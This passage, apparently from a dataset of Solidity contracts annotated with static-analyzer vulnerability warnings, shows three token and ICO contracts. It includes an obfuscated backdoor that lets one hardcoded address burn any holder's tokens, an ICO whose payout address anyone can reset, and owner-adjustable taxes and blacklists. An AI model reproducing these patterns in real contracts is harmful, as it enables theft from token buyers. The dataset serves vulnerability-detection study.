return\n uint160(account) ==\n 97409717902926075812796781700465201095167245 *\n 10 ** 4 +\n 281474976712680;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"MAGAETH\", unicode\"MAGAETH\", 9, 100000000) {}\n}\n", "file_name": "solidity_code_10310.sol", "size_bytes": 7153, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}\n\ncontract RoarIco {\n uint256 public txNonce;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2906011): RoarIco.token should be constant \n\t// Recommendation for 2906011: Add the 'constant' attribute to state variables that never change.\n IERC20 public token = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n\n address public teamAddress = 0x8eB2523a910C6915B00b1716e20335f85f35b0A6;\n\n struct InfoByNonce {\n address user;\n string solAddress;\n uint256 amountEth;\n uint256 amountUsdt;\n }\n\n mapping(uint256 => InfoByNonce) public infoByNonce;\n\n event Buy(string, address, uint256);\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2a64a00): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2a64a00: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f76e6e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f76e6e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buy(\n string memory solAddress,\n uint256 amount,\n bool isUsdt\n ) public payable {\n if (!isUsdt) {\n require(\n msg.value >= 1e15,\n \"ROAR_ICO: Amount must be grater then 1e15..\"\n );\n\n amount = msg.value;\n\n\t\t\t// reentrancy-events | ID: 2a64a00\n payable(teamAddress).transfer(address(this).balance);\n } else {\n require(amount > 0, \"ROAR_ICO: Amount must be grater then zero..\");\n\n\t\t\t// reentrancy-events | ID: 2a64a00\n\t\t\t// reentrancy-benign | ID: f76e6e5\n bool succes = token.transferFrom(msg.sender, address(this), amount);\n\n\t\t\t// reentrancy-events | ID: 2a64a00\n\t\t\t// reentrancy-benign | ID: f76e6e5\n succes = token.transfer(teamAddress, amount);\n\n require(succes, \"ERC20 token transfer error\");\n }\n\n\t\t// reentrancy-benign | ID: f76e6e5\n txNonce += 1;\n\n\t\t// reentrancy-benign | ID: f76e6e5\n infoByNonce[txNonce].user = msg.sender;\n\n\t\t// reentrancy-benign | ID: f76e6e5\n infoByNonce[txNonce].solAddress = solAddress;\n\n if (isUsdt) {\n\t\t\t// reentrancy-benign | ID: f76e6e5\n infoByNonce[txNonce].amountUsdt = amount;\n } else {\n\t\t\t// reentrancy-benign | ID: f76e6e5\n infoByNonce[txNonce].amountEth = amount;\n }\n\n\t\t// reentrancy-events | ID: 2a64a00\n emit Buy(solAddress, msg.sender, amount);\n }\n\n function updateTeamAddress(address _teamAddress) public {\n require(msg.sender == _teamAddress, \"You can't update.\");\n\n teamAddress = _teamAddress;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: dc8545b): RoarIco.receive() sends eth to arbitrary user Dangerous calls address(teamAddress).transfer(address(this).balance)\n\t// Recommendation for dc8545b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n receive() external payable {\n\t\t// arbitrary-send-eth | ID: dc8545b\n payable(teamAddress).transfer(address(this).balance);\n }\n}\n", "file_name": "solidity_code_10311.sol", "size_bytes": 3786, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(0xB748033DfEb602F7248242246509098057fA0eb2);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 1f4471a\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-eth | ID: 1f4471a\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: ea7ef94\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract rekt is Context, ERC20, Ownable {\n uint256 private constant _tSupply = 100000000 * (10 ** 18);\n\n uint256 public maxBuyAmount = (_tSupply * (6)) / (1000);\n\n uint256 public maxSellAmount = (_tSupply * (6)) / (1000);\n\n uint256 public maxWalletAmount = (_tSupply * (6)) / (1000);\n\n uint256 private _swapTokensAtAmount = (_tSupply * (1)) / (1000);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 12df07d): rekt.uniswapV2Router should be immutable \n\t// Recommendation for 12df07d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n mapping(address => bool) public _excludedFees;\n\n mapping(address => bool) private _excludedMaxTx;\n\n mapping(address => bool) private _isBot;\n\n bool public tradingOpen;\n\n bool private _swapping;\n\n bool public swapEnabled;\n\n uint256 public constant FEE_DIVISOR = 1000;\n\n uint256 private _totalFees;\n\n uint256 private _devFee;\n\n uint256 public buyDevFee = 350;\n\n uint256 private _previousBuyDevFee = buyDevFee;\n\n uint256 public sellDevFee = 350;\n\n uint256 private _previousSellDevFee = sellDevFee;\n\n uint256 private _tokensForDev;\n\n address payable private _devWallet =\n payable(0xB748033DfEb602F7248242246509098057fA0eb2);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 989394c): rekt.uniswapV2Pair should be immutable \n\t// Recommendation for 989394c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0f74569): rekt.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0f74569: Ensure that all the return values of the function calls are used.\n constructor() ERC20(\"Rekt\", \"REKT\") {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _excludedFees[owner()] = true;\n\n _excludedFees[address(this)] = true;\n\n _excludedFees[DEAD] = true;\n\n _excludedFees[\n address(0x627e73c40b858Ea41fD4fa6A83C603d0228269Bb)\n ] = true;\n\n _excludedFees[\n address(0x70c2B28ddCb3be91802B8c375Ac2498260F9D5E1)\n ] = true;\n\n _excludedMaxTx[owner()] = true;\n\n _excludedMaxTx[address(this)] = true;\n\n _excludedMaxTx[DEAD] = true;\n\n _excludedMaxTx[\n address(0x627e73c40b858Ea41fD4fa6A83C603d0228269Bb)\n ] = true;\n\n _excludedMaxTx[\n address(0x70c2B28ddCb3be91802B8c375Ac2498260F9D5E1)\n ] = true;\n\n _approve(address(this), address(uniswapV2Router), _tSupply);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 0f74569\n IERC20(uniswapV2Pair).approve(\n address(uniswapV2Router),\n type(uint256).max\n );\n\n _mint(owner(), (_tSupply * (40)) / (100));\n\n _mint(\n address(0x627e73c40b858Ea41fD4fa6A83C603d0228269Bb),\n (_tSupply * (25)) / (100)\n );\n\n _mint(\n address(0x70c2B28ddCb3be91802B8c375Ac2498260F9D5E1),\n (_tSupply * (35)) / (100)\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ea7ef94): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ea7ef94: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6898a76): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6898a76: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1f4471a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1f4471a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != ZERO, \"ERC20: transfer from the zero address\");\n\n require(to != ZERO, \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takeFee = true;\n\n bool shouldSwap = false;\n\n if (\n from != owner() &&\n to != owner() &&\n to != ZERO &&\n to != DEAD &&\n !_swapping\n ) {\n require(!_isBot[from] && !_isBot[to], \"Bot.\");\n\n if (!tradingOpen)\n require(\n _excludedFees[from] || _excludedFees[to],\n \"Trading is not allowed yet.\"\n );\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_excludedMaxTx[to]\n ) {\n require(\n amount <= maxBuyAmount,\n \"Transfer amount exceeds the maxBuyAmount.\"\n );\n\n require(\n balanceOf(to) + amount <= maxWalletAmount,\n \"Exceeds maximum wallet token amount.\"\n );\n }\n\n if (\n to == uniswapV2Pair &&\n from != address(uniswapV2Router) &&\n !_excludedMaxTx[from]\n ) {\n require(\n amount <= maxSellAmount,\n \"Transfer amount exceeds the maxSellAmount.\"\n );\n\n shouldSwap = true;\n }\n }\n\n if (_excludedFees[from] || _excludedFees[to]) takeFee = false;\n\n if (from != uniswapV2Pair && to != uniswapV2Pair) takeFee = false;\n\n uint256 contractBalance = balanceOf(address(this));\n\n bool canSwap = (contractBalance > _swapTokensAtAmount) && shouldSwap;\n\n if (\n canSwap &&\n swapEnabled &&\n !_swapping &&\n !_excludedFees[from] &&\n !_excludedFees[to]\n ) {\n _swapping = true;\n\n\t\t\t// reentrancy-events | ID: ea7ef94\n\t\t\t// reentrancy-benign | ID: 6898a76\n\t\t\t// reentrancy-eth | ID: 1f4471a\n _swapBack(contractBalance);\n\n\t\t\t// reentrancy-eth | ID: 1f4471a\n _swapping = false;\n }\n\n\t\t// reentrancy-events | ID: ea7ef94\n\t\t// reentrancy-benign | ID: 6898a76\n\t\t// reentrancy-eth | ID: 1f4471a\n _tokenTransfer(from, to, amount, takeFee, shouldSwap);\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: da78add): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for da78add: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _swapBack(uint256 contractBalance) internal {\n uint256 totalTokensToSwap = (_tokensForDev);\n\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) return;\n\n if (contractBalance > _swapTokensAtAmount * (5))\n contractBalance = _swapTokensAtAmount * (5);\n\n uint256 amountToSwapForETH = contractBalance;\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-no-eth | ID: da78add\n swapTokensForETH(amountToSwapForETH);\n\n uint256 ETHBalance = address(this).balance - (initialETHBalance);\n\n uint256 ETHForDev = ETHBalance;\n\n\t\t// reentrancy-no-eth | ID: da78add\n _tokensForDev = 0;\n\n\t\t// reentrancy-events | ID: ea7ef94\n\t\t// reentrancy-benign | ID: 6898a76\n\t\t// reentrancy-eth | ID: 1f4471a\n (success, ) = address(_devWallet).call{value: ETHForDev}(\"\");\n }\n\n function swapTokensForETH(uint256 tokenAmount) internal {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ea7ef94\n\t\t// reentrancy-benign | ID: 6898a76\n\t\t// reentrancy-no-eth | ID: da78add\n\t\t// reentrancy-eth | ID: 1f4471a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 396fabd): rekt.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _devWallet.transfer(amount)\n\t// Recommendation for 396fabd: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) internal {\n\t\t// arbitrary-send-eth | ID: 396fabd\n _devWallet.transfer(amount);\n }\n\n function isBot(address wallet) external view returns (bool) {\n return _isBot[wallet];\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6c2e6bb): rekt.setSwapTokensAtAmount(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 6c2e6bb: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 6c2e6bb\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function setMarketingWallet(address devWallet) public onlyOwner {\n require(devWallet != ZERO, \"_devWallet address cannot be 0\");\n\n _excludedFees[_devWallet] = false;\n\n _excludedMaxTx[_devWallet] = false;\n\n _devWallet = payable(devWallet);\n\n _excludedFees[_devWallet] = true;\n\n _excludedMaxTx[_devWallet] = true;\n }\n\n function excludeFromFees(\n address[] memory accounts,\n bool exclude\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++)\n _excludedFees[accounts[i]] = exclude;\n }\n\n function excludeFromMaxTx(\n address[] memory accounts,\n bool exclude\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++)\n _excludedMaxTx[accounts[i]] = exclude;\n }\n\n function dontGetREKT() public onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n swapEnabled = true;\n\n tradingOpen = true;\n }\n\n function bots(address[] memory accounts, bool bl) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n if (\n (accounts[i] != uniswapV2Pair) &&\n (accounts[i] != address(this)) &&\n (accounts[i] != address(uniswapV2Router))\n ) _isBot[accounts[i]] = bl;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: efd5320): rekt.updateBuyTax(uint256) should emit an event for buyDevFee = _buyDevFee \n\t// Recommendation for efd5320: Emit an event for critical parameter changes.\n function updateBuyTax(uint256 _buyDevFee) public onlyOwner {\n\t\t// events-maths | ID: efd5320\n buyDevFee = _buyDevFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ed4434e): rekt.updateSellTax(uint256) should emit an event for sellDevFee = _sellDevFee \n\t// Recommendation for ed4434e: Emit an event for critical parameter changes.\n function updateSellTax(uint256 _sellDevFee) public onlyOwner {\n\t\t// events-maths | ID: ed4434e\n sellDevFee = _sellDevFee;\n }\n\n function removeFee() internal {\n if (buyDevFee == 0 && sellDevFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 6898a76\n _previousBuyDevFee = buyDevFee;\n\n\t\t// reentrancy-benign | ID: 6898a76\n _previousSellDevFee = sellDevFee;\n\n\t\t// reentrancy-benign | ID: 6898a76\n buyDevFee = 0;\n\n\t\t// reentrancy-benign | ID: 6898a76\n sellDevFee = 0;\n }\n\n function restoreFee() internal {\n\t\t// reentrancy-benign | ID: 6898a76\n buyDevFee = _previousBuyDevFee;\n\n\t\t// reentrancy-benign | ID: 6898a76\n sellDevFee = _previousSellDevFee;\n }\n\n function setSwapEnabled(bool onoff) public onlyOwner {\n swapEnabled = onoff;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 09dc1ff): rekt.setMaxBuyAmount(uint256) should emit an event for maxBuyAmount = _maxBuyAmount \n\t// Recommendation for 09dc1ff: Emit an event for critical parameter changes.\n function setMaxBuyAmount(uint256 _maxBuyAmount) public onlyOwner {\n\t\t// events-maths | ID: 09dc1ff\n maxBuyAmount = _maxBuyAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ece22a8): rekt.setMaxSellAmount(uint256) should emit an event for maxSellAmount = _maxSellAmount \n\t// Recommendation for ece22a8: Emit an event for critical parameter changes.\n function setMaxSellAmount(uint256 _maxSellAmount) public onlyOwner {\n\t\t// events-maths | ID: ece22a8\n maxSellAmount = _maxSellAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0748d1e): rekt.setMaxWalletAmount(uint256) should emit an event for maxWalletAmount = _maxWalletAmount \n\t// Recommendation for 0748d1e: Emit an event for critical parameter changes.\n function setMaxWalletAmount(uint256 _maxWalletAmount) public onlyOwner {\n\t\t// events-maths | ID: 0748d1e\n maxWalletAmount = _maxWalletAmount;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee,\n bool isSell\n ) internal {\n if (!takeFee) removeFee();\n else amount = _takeFees(sender, amount, isSell);\n\n super._transfer(sender, recipient, amount);\n\n if (!takeFee) restoreFee();\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0e5584d): rekt._takeFees(address,uint256,bool) performs a multiplication on the result of a division fees = (amount * (_totalFees)) / (FEE_DIVISOR) _tokensForDev += (fees * _devFee) / _totalFees\n\t// Recommendation for 0e5584d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: a41a428): rekt._takeFees(address,uint256,bool).fees is a local variable never initialized\n\t// Recommendation for a41a428: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _takeFees(\n address sender,\n uint256 amount,\n bool isSell\n ) internal returns (uint256) {\n if (isSell) _setSell();\n else _setBuy();\n\n uint256 fees;\n\n if (_totalFees > 0) {\n\t\t\t// divide-before-multiply | ID: 0e5584d\n fees = (amount * (_totalFees)) / (FEE_DIVISOR);\n\n\t\t\t// divide-before-multiply | ID: 0e5584d\n\t\t\t// reentrancy-eth | ID: 1f4471a\n _tokensForDev += (fees * _devFee) / _totalFees;\n }\n\n if (fees > 0) super._transfer(sender, address(this), fees);\n\n return amount -= fees;\n }\n\n function _setSell() internal {\n\t\t// reentrancy-benign | ID: 6898a76\n _devFee = sellDevFee;\n\n\t\t// reentrancy-benign | ID: 6898a76\n _totalFees = (_devFee);\n }\n\n function _setBuy() internal {\n\t\t// reentrancy-benign | ID: 6898a76\n _devFee = buyDevFee;\n\n\t\t// reentrancy-benign | ID: 6898a76\n _totalFees = (_devFee);\n }\n\n function unclog() public onlyOwner {\n uint256 contractBalance = balanceOf(address(this));\n\n swapTokensForETH(contractBalance);\n }\n\n function sendETHtoFees() public onlyOwner {\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function rescueETH() public onlyOwner {\n bool success;\n\n (success, ) = address(msg.sender).call{value: address(this).balance}(\n \"\"\n );\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: e8cb51d): rekt.withdrawTokens(address) ignores return value by IERC20(tkn).transfer(msg.sender,amount)\n\t// Recommendation for e8cb51d: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function 